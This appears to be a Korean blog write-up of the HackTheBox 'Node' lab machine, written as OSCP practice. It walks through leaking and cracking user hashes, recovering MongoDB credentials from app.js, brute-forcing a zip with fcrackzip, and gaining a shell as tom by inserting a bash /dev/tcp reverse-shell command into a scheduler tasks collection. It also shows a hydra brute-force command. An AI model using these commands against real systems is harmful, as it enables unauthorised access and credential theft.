이 문제는 굉장히 어렵다.... OSCP 수준을 한참 넘어섰다고 본다.
Node.js, mongodb에 대한 부분을 알 수 있어서 좋긴했다.
User 플래그 따는건 인정, Root 플래그는 선넘었다 ㄹㅇ....
인가 미흡에 따른 취약점, 계정 DB 정보가 노출된다.
자세히 안보면 놓치기 쉽다.
/api/users
/api/users/latest
hash-identifier로 해쉬 값 확인 후 john 돌려주면 바로 비밀번호가 해독된다.
john --format=Raw-SHA256 hash.txt
어드민 로그인을 하면 backup 파일을 받을 수 있다.
Node.js 코어 코드인 app.js에 DB 암호가 저장되어 있다.
>cat app.js
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
DB파일은 base64로 디코드 후 file로 타입을 체크한다.
zip 파일이라는 것을 알 수 있으며, 비밀번호가 걸려있다는 것을 알 수 있다.
zip 비밀번호 브루트포스
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip
동일한 비밀번호를 사용하여 mark로 SSH로 로그인 가능했다.
ssh mark@10.10.1.58
5AYRft73VtFpc84k
su 권한 체크, root권한상승을 위해서는 backup을 실행할 수 있는 tom 계정으로 로그인이 필요했다.
mark@node:~$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
......
/usr/local/bin/backup
Enumeration 진행시 tom의 계쩡으로 실행중인 프로세스를 확인할 수 있다.
몽고 디비로 로그인 후 리버스 쉘 삽입이 가능했다.
linpeas.sh
tom 1221 0.0 7.1 1025316 54312 ? Ssl 06:10 0:02 /usr/bin/node /var/www/myplace/app.js
tom 1222 0.0 5.4 1008568 41268 ? Ssl 06:10 0:01 /usr/bin/node /var/scheduler/app.js
or
mark@node:/var/www/myplace$ ps -aux | grep tom
tom 1221 0.0 5.5 1025316 42356 ? Ssl 06:10 0:02 /usr/bin/node /var/www/myplace/app.js
tom 1222 0.0 4.1 1008568 31644 ? Ssl 06:10 0:01 /usr/bin/node /var/scheduler/app.js
mark 18581 0.0 0.1 14228 992 pts/0 S+ 08:14 0:00 grep --color=auto tom
mark@node:/var/www/myplace$ cd /var/scheduler/
mark@node:/var/scheduler$ cat app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
mongo -u mark -p 5AYRft73VtFpc84k 127.0.0.1:27017/scheduler
> help
> show.collections
tasks
> db.tasks.find()
> db.tasks.insert({cmd:"bash -c 'bash -i >& /dev/tcp/10.10.14.31/4444 0>&1'"})
tom 쉘에 접근하면 user.txt를 확보 할 수 있다.
root 권한상승은 CTF 급이다. 여기부턴 정리안함.
번외 json 히드라
hydra -l myP14ceAdm1nAcc0uNT -P rockyou.txt 10.10.10.58 -s 3000 http-post-form
"/api/session/authenticate:{\"username\"\:\"^USER.^\",\"password\"\:\"^PASS^\"}:Authenticatio
n failed:H=Content-Type\: application/json" -t 64
'OSCP > HackTheBox' 카테고리의 다른 글
[Linux] Valentine (0) | 2020.09.08 |
---|---|
[Linux] Haircut (0) | 2020.09.07 |
[Linux] Cronos (1) | 2020.09.02 |
[Linux] Popcorn (0) | 2020.09.01 |
[Linux] Jarvis (0) | 2020.08.28 |